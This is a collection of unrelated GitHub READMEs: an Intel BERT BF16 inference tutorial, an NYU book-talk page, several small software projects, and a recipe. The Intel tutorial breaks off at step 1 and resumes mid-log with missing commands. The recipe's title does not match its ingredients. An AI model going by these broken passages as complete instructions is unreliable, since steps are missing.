Below is a code snippet you can incorporate into your existing TensorFlow application to set the best settings.
You can either set them in the CLI or in the Python script. Note that inter and intra_op_parallelism_threads settings can only be set
in the Python script.

```bash
export OMP_NUM_THREADS=<# physical cores - 2>
export KMP_AFFINITY="granularity=fine,verbose,compact,1,0"
export KMP_BLOCKTIME=1
export KMP_SETTINGS=1
```
(or)
```
import os
os.environ["KMP_BLOCKTIME"] = "1"
os.environ["KMP_SETTINGS"] = "1"
os.environ["KMP_AFFINITY"]= "granularity=fine,verbose,compact,1,0"
os.environ["OMP_NUM_THREADS"]= <# physical cores - 2>
tf.config.threading.set_inter_op_parallelism_threads(1)
tf.config.threading.set_intra_op_parallelism_threads(<# physical cores>)
```

## Hands-on Tutorial
This section shows how to measure and compare BF16 and FP32 inference performance on Intel's Model Zoo pre-trained model (or your pre-trained model) by setting the above-discussed run-time flags.

### Initial Setup

Note: These steps are adapted from the BERT Large Inference [README](/benchmarks/language_modeling/tensorflow/bert_large/README.md#inference-instructions).
Please check there for the most up-to-date information and links.

1. Clone IntelAI models and download into your home directory, skip this step if you already have Intel AI models installed.

```bash
cd ~
git clone https://github.com/IntelAI/models.git
```

2. Download and unzip the BERT large uncased (whole word masking) model from the [google bert repo](https://github.com/google-research/bert#pre-trained-models).
Then, download the `dev-v1.1.json` file from the [google bert repo](https://github.com/google-research/bert#squad-11) into the `wwm_uncased_L-24_H-1024_A-16` directory that was just unzipped.

```
wget https://storage.googleapis.com/bert_models/2019_05_30/wwm_uncased_L-24_H-1024_A-16.zip
unzip wwm_uncased_L-24_H-1024_A-16.zip

wget https://rajpurkar.github.io/SQuAD-explorer/dataset/dev-v1.1.json -P wwm_uncased_L-24_H-1024_A-16
```
The `wwm_uncased_L-24_H-1024_A-16` directory is what will be passed as the `--data-location` when running inference.

3. Download and unzip the pre-trained model. The file is 3.4GB so it will take some time.

```
wget https://storage.googleapis.com/intel-optimized-tensorflow/models/v1_8/bert_large_checkpoints.zip
unzip bert_large_checkpoints.zip
```
This directory will be passed as the `--checkpoint` location when running inference.

4. Install [Docker](https://docs.docker.com/v17.09/engine/installation/) since the tutorial runs in a Docker container.

5. Pull the relevant Intel-optimized TensorFlow Docker image.
[Click here](https://software.intel.com/en-us/articles/intel-optimization-for-tensorflow-installation-guide) to find  all the available Docker images.
```bash
docker pull intel/intel-optimized-tensorflow:latest
```

6. Navigate to the inference script directory in local IntelAI repository.
```bash
cd ~/models/benchmarks
```

### BF16 Inference

Run the Python script `launch_benchmark.py` with the pre-trained model.
The `launch_benchmark.py` script can be treated as an entry point to conveniently perform out-of-box high performance inference on pre-trained models from the Intel Model Zoo.
The script will automatically set the recommended run-time options for supported topologies, but if you choose to set your own options, refer to the full list of available flags and a detailed explanation of `launch_benchmark.py` [here](/docs/general/tensorflow/LaunchBenchmark.md).
This step will automatically launch a new container on every run and terminate. Go to [this optional step](#optional) to interactively run the script on the container.

1.
I0424 21:14:28.002666<PHONE_NUMBER>87232 run_squad.py:1365] Processed #examples: 960
INFO:tensorflow:prediction_loop marked as finished
Elapsed time: ...
throughput((num_processed_examples-threshod_examples)/Elapsedtime): ...

Ran inference with batch size 32
Log location outside container: /~/output/benchmark_bert_large_inference_bfloat16_20200427_224428.log
```

Output files and logs are saved to the `--output-dir` or to the default location models/benchmarks/common/tensorflow/logs, if no `--output-dir` is set.

 This will launch a docker container based on the `--docker_image`,
perform necessary installs, and run the `launch_benchmark.py` script, but does not terminate the container process. As an example, this is how you would launch interactive BF16 batch inference for benchmarking:

Console in:
```bash
python launch_benchmark.py \
    --model-name=bert_large \
    --precision=bfloat16 \
    --mode=inference \
    --framework=tensorflow \
    --batch-size=32 \
    --data-location ~/wwm_uncased_L-24_H-1024_A-16 \
    --checkpoint ~/bert_large_checkpoints \
    --output-dir ~/output \
    --benchmark-only \
    --docker-image intel/intel-optimized-tensorflow:latest \
    --debug \
    -- infer_option=SQuAD
```

Console out:
```bash
root@c49f3442efb1:/workspace/benchmarks/common/tensorflow#
```

To rerun the benchmarking script, execute the `start.sh` bash script from your existing directory with the available flags, which in turn will run `launch_benchmark.py`.
For example, to run with different batch size settings (e.g. batch size=64) run with `BATCH_SIZE`
and to skip the run from reinstalling packages pass `True` to `NOINSTALL`.

```bash
chmod +x ./start.sh
NOINSTALL=True BATCH_SIZE=64 ./start.sh
```

All other flags will be defaulted to values passed in the first `launch_benchmark.py` that starts the container. [See here](/docs/general/tensorflow/LaunchBenchmark.md) to get the full list of flags.

repository: IntelAI/models

gha_language: Python

repo_name: IntelAI/models


text:
---
layout: article
title: "Jonathan Metzl MD PhD Book Talk"
categories: events
description: "Jonathan Metzl Book Talk"
excerpt: "In The Protest Psychosis, psychiatrist and cultural critic Jonathan Metzl tells the shocking story of how schizophrenia became the diagnostic term overwhelmingly applied to African American men at the Ionia State Hospital in Ionia, Michigan in the 1960s."
modified: 2011-02-02T11:57:41-04:00
tags: [Icarus Project, book, NYU, Jonathan Metzl]
comments: true
ads: false
image:
  teaser:  protest-psychosis-400x250.png
  feature: protest-psychosis-1600x800.png
  credit:
  creditlink:
event-date: "Wednesday, February 2, 2011"
event-time: "6:00 - 8:00 PM"
location: ""
location-street: "20 Cooper Square, 4th Floor"
location-city-state: "New York, NY"
website: ""
email: ""
phone: ""
---
### Discussing his recent book *The Protest Psychosis: How Schizophrenia Became a Black Disease*

#### Presented by The Department of Social & Cultural Analysis at New York University

**Wednesday, February 2, 2011**
**6:00 - 8:00 PM**
**20 Cooper Square, 4th Floor**

In The Protest Psychosis, psychiatrist and cultural critic Jonathan Metzl tells the shocking story of how schizophrenia became the diagnostic term overwhelmingly applied to African American men at the Ionia State Hospital in Ionia, Michigan in the 1960s. Events at Ionia mirrored national conversations that increasingly linked blackness, madness, and civil rights. As he demonstrates, far from resulting from the racist intentions of doctors or the symptoms of specific patients, racial schizophrenia grew from a much wider set of culture shifts that defined the thoughts, actions, and even the politics of black men as being inherently insane.

**Jonathan Metzl** is an Associate Professor of Psychiatry and Women’s Studies and Director of the Culture, Health, and Medicine Program at the University of Michigan. A 2008 Guggenheim award recipient, his books include Prozac on the Couch and Difference and Identity in Medicine.

[http://sca.as.nyu.edu/object/sca.calendar](http://sca.as.nyu.edu/object/sca.calendar)


text:
# PythonizeJava

Tired of Java code being so ugly? What's with all the semicolons and braces?
Use PythonizeJava to rid your Java code of all the ugly and turn it into much better Python-esque Java.

Inspiration taken from the following reddit post:
https://www.reddit.com/r/ProgrammerHumor/comments/2wrxyt/a_python_programmer_attempting_java/

repository: Henney/PythonizeJava

repo_name: Henney/PythonizeJava


text:
# JFR Tools

## StatsMaker
StatsMaker is a tool that reads a JFR recording file and generates statistics about the amount
of metric and event data that is sent by the JFR daemon after processing the recording.

### Build the jfr-tools jar
From the project root run:
`./gradlew build`

The generated `jfr-tools` jar can be found at:
`newrelic-jfr-core/jfr-tools/build/libs/jfr-tools-1.2.0-SNAPSHOT.jar`

### Usage
1. First you’ll need to generate a JFR recording file to process with the StatsMaker.
2. Set your APM license key: `export INSIGHTS_INSERT_KEY=123xyz`
3. Run the `jfr-tools` jar with the JFR recording file: `java -jar jfr-tools-1.2.0-SNAPSHOT.jar </absolute/path/to/jfr/recording/file>`

### Output
StatsMaker will generate output similar to the following indicating the amount of metric and event data sent to New Relic.

```
Metrics to be sent: 363
Events to be sent: 1455

Duration (hrs): 0.004763333333333333

Total metrics data (MB): 0.060192108154296875
Hourly metrics data (MB): 12.63655174687828
Monthly metrics data (GB): 8.885075447023791

Total events data (MB): 2.278265953063965
Hourly events data (MB):<PHONE_NUMBER>347022
Monthly events data (GB):<PHONE_NUMBER>369
```

repository: liweiyuan/newrelic-jfr-core

repo_name: liweiyuan/newrelic-jfr-core


text:
# PitchPerfect

This repository contains the Udacity project **PitchPerfect** from the iOS Developer Nanodegree.

## Overview

This Swift iOS application allows users to record audio using the device microphone. Users can then play the audio back using various audio-effect filters: Snail (slow), Rabbit (fast), Chipmunk (high pitch), Darth Vader (low pitch).

## Setup

There are no special setup instructions, just build and run!

## License

The code in this repository is licensed under the [MIT License](./LICENSE.txt).


text:
# RedRocket blog

To create a new post, create a .md file in the \_post folder like this:

```
cp post_template.md _posts/[ISO-DATE]-[TITLE].md
```

Theme is based on whiteglass.

# Build

You can build it with docker.

Build the containter inside the blog directory, or change $PWD accordingly (will take a while, you have to do this only once):

`docker run --name red_blog -v "$PWD":/usr/src/app -w /usr/src/app ruby:2.5-buster bash -c "gem install bundler jekyll && bundle install && bundle exec jekyll build"`

Build the blog (should be fast):

`docker start -a red_blog`

The blog is now saved in the \_site directory.

Copy it to the website with: `scp -r _site/* root@redrocket.club:/var/www/blog.redrocket.club/`

Or: `rsync -ru _site/* root@redrocket.club:/var/www/blog.redrocket.club/`

# View Live
IF you want to see live changes locally to review your writeup, you can do a (once):

`docker run --name red_blog_live -p 4000:4000 -v "$PWD":/usr/src/app -w /usr/src/app ruby:2.5-buster bash -c "gem install bundler jekyll && bundle install && bundle exec jekyll serve --host <IP_ADDRESS>"`

then start the container with `docker start -a red_blog_live`.

You can now watch the blog at `http://localhost:4000`. Changes on files will be tracked and updated live.


text:
![Nodeplate logo](https://i.ibb.co/nz7xk5v/v1-logo.jpg)

### Introduction

Welcome to the **Nodeplate** repository.
**Nodeplate** is a Node.js boilerplate to start easily your new REST API using
Express.js, MongoDB and Typescript.

### Components

- [Typescript](https://www.typescriptlang.org/)
- [Node.js](https://nodejs.org)
- [MongoDB (mongoose)](https://mongoosejs.com/)
- [Express.js](https://expressjs.com/fr/)
- [Yarn](https://yarnpkg.com/lang/fr/)
- [Winston](https://github.com/winstonjs/winston)
- [Prettier](https://prettier.io/)
- [Typescript-eslint (airbnb rules)](https://github.com/typescript-eslint/typescript-eslint)
- [Swagger](https://github.com/typescript-eslint/typescript-eslint)
- [Nodemon](https://nodemon.io/)
- [ts-node](https://github.com/TypeStrong/ts-node)
- [Jest](https://jestjs.io/)
- [Husky](https://github.com/typicode/husky)
- [Commitlint](https://commitlint.js.org/#/)

### API Use-case
To illustrate the boilerplate usage, we're taking the case of an API giving "Product" informations
stored in our MongoDB database. Each product has a "product_code".

### Getting started

>The commands are available in package.json.

##### Requirements

Before going directly to the installation, please make sure you have the
following plateform/tools on your computer  :

- Latest NodeJS version
- Yarn installed
- MongoDB database (make sure you have a stored login)

##### Environnement setup

First of all, you have to create your environnement typescript files in the
"../src/config/environnements" folder, based on the "template.ts" file :

- dev.ts (developpement configuration)
- prod.ts (production configuration)

Specify your API_URL, MongoDB connection, log path,... *(see comments in
template.ts)*

##### Installation

    $ yarn install

##### Starting server

In a developpement context run :

    $ cross-env NODE_ENV=development nodemon --watch "src/**/*.ts" --exec ts-node src/app.ts

In a production context run :

    $ cross-env NODE_ENV=production ts-node src/app.ts

##### Run specs

    $ yarn jest

##### Eslint

To run Eslint on the src files :

    $ eslint "src/**/*.ts"

##### Prettier

This project use prettier as a code formatter.

To check which src files are not formatted with prettier run :

    $ prettier --check "src/**/*.ts"

To run prettier on all src files :

    $ prettier --write "src/**/*.ts"

##### Intellij Plugins

For Intellij users (Webstorm or Ultimate), I advise you to install the following
plugins for a better use :

- [ESLint](https://plugins.jetbrains.com/plugin/7494-eslint)
- [Prettier](https://plugins.jetbrains.com/plugin/10456-prettier)

repository: maximebrugel/nodeplate

gha_language: TypeScript

repo_name: maximebrugel/nodeplate


text:
        Only the nginx image is meant to be published

        Other images are used as examples for a feature of the ingress controller or to run e2e tests

Directory | Purpose
------------ | -------------
custom-error-pages | Example of Custom error pages for the Ingress-Nginx Controller
e2e | Image to run e2e tests
fastcgi-helloserver | FastCGI application for e2e tests
grpc-fortune-teller | grpc server application for the nginx-ingress grpc example
httpbun | A simple HTTP Request & Response Service for e2e tests
httpbin | [Removed] we are no longer maintaining the httpbin image due to project being unmaintained
nginx | NGINX base image using [alpine linux](https://www.alpinelinux.org)
cfssl | Image to run cfssl commands

repository: kubernetes/ingress-nginx

repo_name: kubernetes/ingress-nginx


text:
# Blackberry Goat Cheese Crostini Skewers

## Overview

- Yield: 25 skewers
- Prep Time: 10 mins
- Total Time: 10 mins

## Ingredients

- 25 mini fresh mozzarella balls

- 25 blackberries

- 25 basil leaves

- 25 cucumber chunks

- Balsamic glaze

- Bamboo skewers

## Method

1. Using 3″ bamboo skewers or similar, layer your ingredients starting with the mozzarella balls, then a folded basil leaf followed by a blackberry and a chunk of cucumber.
---
2. Line a tray with your finished skewers and refrigerate or serve right away.
---
3. Drizzle with balsamic glaze right before serving.
---

## References and Acknowledgments

[Life as a Strawberry - Blackberry Goat Cheese Crostini Skewers](http://www.lifeasastrawberry.com/blackberry-goat-cheese-crostini/)

repository: troyerta/recipes

repo_name: troyerta/recipes


text:
OwnThings IOT Cloud

A simple IOT cloud

[![GitHub issues](https://img.shields.io/github/issues/yosa12978/OwnThings?style=flat-square)](https://github.com/yosa12978/OwnThings/issues)
[![GitHub forks](https://img.shields.io/github/forks/yosa12978/OwnThings?style=flat-square)](https://github.com/yosa12978/OwnThings/network)
[![GitHub stars](https://img.shields.io/github/stars/yosa12978/OwnThings?style=flat-square)](https://github.com/yosa12978/OwnThings/stargazers)
[![GitHub license](https://img.shields.io/github/license/yosa12978/OwnThings?style=flat-square)](https://github.com/yosa12978/OwnThings)
[![Twitter](https://img.shields.io/twitter/url?style=social&url=https%3A%2F%2Ftwitter.com%2Fcompose%2Ftweet%3Furl%3Dhttps%3A%2F%2Fgithub.com%2Fyosa12978%2FOwnThings)](https://twitter.com/intent/tweet?text=Wow:&url=https%3A%2F%2Fgithub.com%2Fyosa12978%2FOwnThings)
![GitHub release](https://img.shields.io/github/v/release/yosa12978/OwnThings?style=flat-square)

## Getting Started

### Prerequisites

To run this projects you should have installed .NET Core 3.1 on your PC
Type this to check it
```
dotnet --version
```

### Installing

Clone this repo
```
git clone https://github.com/yosa12978/OwnThings
```
Then run in api folder
```
dotnet build
```
go to ```/bin/Debug/netcoreapp3.1```
and run it ```./OwnThings.API```

Swagger UI: ```https://localhost:5001/index.html```

## Built With
* [C#](https://docs.microsoft.com/en-us/dotnet/csharp/) - Programming Language
* [ASP.NET Core](https://dotnet.microsoft.com/apps/aspnet) - Web Framework
* [SQL Server](https://www.microsoft.com/en-us/sql-server/sql-server-2019) - As a database

## Authors

* **Yusuf Yakubov** - *Whole work* - [Yosa](https://github.com/yosa12978)

## License

This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details

## Donate
* **Bitcoin**: 36jW1LyMEicXFLrQLnFnswqc1hxBEkrhwJ
* **Ethereum**: 0xaD7c500FD3947E85d64CbF6A5d1D31372ed0601A
* **Webmoney (WMZ)**: Z280011393319
* **Webmoney (WMR)**: R923631667215

repository: moayyaed/OwnThings

repo_name: moayyaed/OwnThings